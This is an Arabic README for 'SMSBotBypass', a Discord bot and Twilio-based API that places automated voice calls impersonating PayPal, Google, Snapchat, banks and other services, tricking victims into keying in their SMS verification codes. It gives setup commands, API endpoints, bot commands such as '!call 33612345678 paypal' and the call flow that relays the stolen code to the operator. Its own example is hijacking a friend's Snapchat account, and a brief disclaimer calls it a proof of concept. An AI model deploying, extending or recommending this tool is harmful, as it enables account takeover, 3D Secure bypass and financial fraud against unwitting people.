SMSBotBypass

قم بتجاوز تحقق SMS من Paypal وInstagram وSnapchat وGoogle و3D Secure وغيرها الكثير... باستخدام بوت Discord أو API الخاص.

الأمر بسيط حقًا. تخيّل أن صديقك يمتلك حساب Snapchat، وتحاول إعادة تعيين كلمة المرور الخاصة به باستخدام نظام SMS:

• سيستلم رمز التأكيد عبر SMS.

بعد ذلك، تستخدم البوت (!call 33612345678 snapchat). سيتصل البوت به، باستخدام خدمة Snapchat، ويطلب الرمز المستلم. إذا أرسل الرمز باستخدام لوحة الأرقام، فستستلم الرمز وتتمكن من إعادة تعيين كلمة المرور. إنه مثل نظام آلي للهندسة الاجتماعية.

API

طلبات API المتاحة والعاملة:

• /call مع بيانات POST:

  • to: theClientPhoneNumber
  • user: theUser
  • service: theUsedService
  • name: theNameOfTheUser
  • password: yourApiPassword

• /get مع بيانات POST:

  • callSid: theCallSid
  • password: yourApiPassword

• /stream/service مع بيانات GET:

  • service: theServiceNameYouWannaUse

• /voice/password مع بيانات POST:

  • password: yourApiPassword
  • callSid: theCallSid
  • Digits: theDigitsEnteredByTheUSer (غير مطلوب)

أوامر البوت

جميع أوامر المسؤول:

• !user add @user : السماح لشخص ما باستخدام البوت والاتصالات
• !user delete @user : إزالة شخص أو مسؤول من البوت
• !user info @user : الحصول على معلومات من مستخدم
• !user setadmin @user : تعيين مستخدم كمسؤول

جميع أوامر المستخدمين:

• !secret yoursecretpassword @user : تعيين مستخدم كمسؤول دون أن تكون مسؤولاً
• !call phonenumber service أو على سبيل المثال !call 33612345678 paypal : اتصل برقم الهاتف باستخدام البوت واحصل على رمز SMS

خدمات الاتصال المختلفة المدعومة:

• Paypal
• Google
• Snapchat
• Instagram
• Facebook
• Whatsapp
• Twitter
• Amazon
• Cdiscount
• Default : work for all the systems
• Banque : bypass 3D Secure

كيف يعمل؟

1. عند القيام بـ !call 3312345678 paypal، يرسل بوت Discord طلب post إلى API الخاص بنا، والذي سيحفظ المكالمة في قاعدة بيانات sqlite الخاصة بنا ويرسل المكالمة إلى twilio API.
2. يستخدم Twilio API مسار /status الخاص بنا لمعرفة ما يجب فعله في المكالمة، ويعيد مسار الحالة كود TwiML إلى Twilio.
3. يعيد مسار /status نغمة الخدمة المستضافة ذاتيًا باستخدام /stream/service route.
4. إذا أدخل المستخدم رمز الأرقام باستخدام لوحة الأرقام، تتوقف النغمة، وتشكره على الرمز، وتنهي المكالمة.
5. يرسل مسار /status الرمز إلى قناة Discord الخاصة بك باستخدام webhook.

المتطلبات الأساسية

• Node.js وNPM من آخر إصدار.
• تثبيت git (ليس ضروريًا)
• منافذ مفتوحة
• حساب Twilio
• حساب Discord (إذا كنت تستخدم البوت)

تثبيت API

قم بتنزيل ملفات API من GitHub

git clone https://github.com/Ross1337/SMSBotBypass.git

انتقل إلى مجلد API الخاص بنا

cd /SMSBotBypass/api/

قم بتثبيت التبعيات

npm i

شغّل الـ API، انتظر 15 ثانية، ثم أوقفه

npm start

قم بتعديل ملف config.js

• أضف AccountSid وAuthToken الخاصين بحساب Twilio
• معرّف المتصل في Twilio
• عنوان IP الفعلي الخاص بك لتشغيل خادم الويب

افتح المنفذ 1337

للتحقق من أن كل شيء يعمل بشكل صحيح، قمت بإنشاء نظام اختبار كامل. إذا لم يكن حساب Twilio الخاص بك مُرقّى، قبل الاختبار، انتقل إلى ملف /test/call.js وقم بتعديل رقم الهاتف في السطر 122 برقم هاتفك.

npm test

واجهة برمجة التطبيقات الخاصة بك الآن تعمل! إذا كانت واجهة برمجة التطبيقات الخاصة بك لا تعمل، قم بترقية حساب Twilio وحاول مرة أخرى.

كن حذرًا، تحتاج أيضًا إلى تغيير لغة TTS، انتقل إلى https://www.twilio.com/console/voice/twiml/text-to-speech وقم بتغيير لغة TTS من الإنجليزية إلى الفرنسية مع صوت Lea.

تثبيت بوت Discord

خذ كلمة مرور API الخاصة بك من ملف config.js في مجلد api الخاص بك؛ سنستخدمها

cd ../bots/discord

قم بتعديل ملف config.js

• أضف عنوان API وكلمة مرور API
• رمز توكن بوت Discord الخاص بك
• عنوان IP الفعلي الخاص بك لتشغيل خادم الويب
• غيّر كلمة المرور السرية

أنشئ رتبتين في Discord، واحدة "Admin" بصلاحيات المسؤول، والأخرى "Bot User" بأي صلاحية.

أضف البوت إلى خادم Discord

قم بتهيئة بوت Discord

npm i

يمكنك الآن تشغيل بوت Discord

node bot.js

يمكنك الحصول على جميع المعلومات المطلوبة في Discord عن طريق كتابة !help

إخلاء المسؤولية

هذا الكود هو مجرد كود POC (إثبات مفهوم)، لا تستخدمه بشكل غير قانوني. قد يتم اعتقالك بسبب إساءة استخدام هذا الكود. استخدمه فقط مع أرقام هواتفك أو مع الأشخاص الذين يقبلون اختبار هذا الكود.

المساهمات

لا تتردد في المساهمة في هذا المشروع عن طريق fork و pull request لهذا المستودع!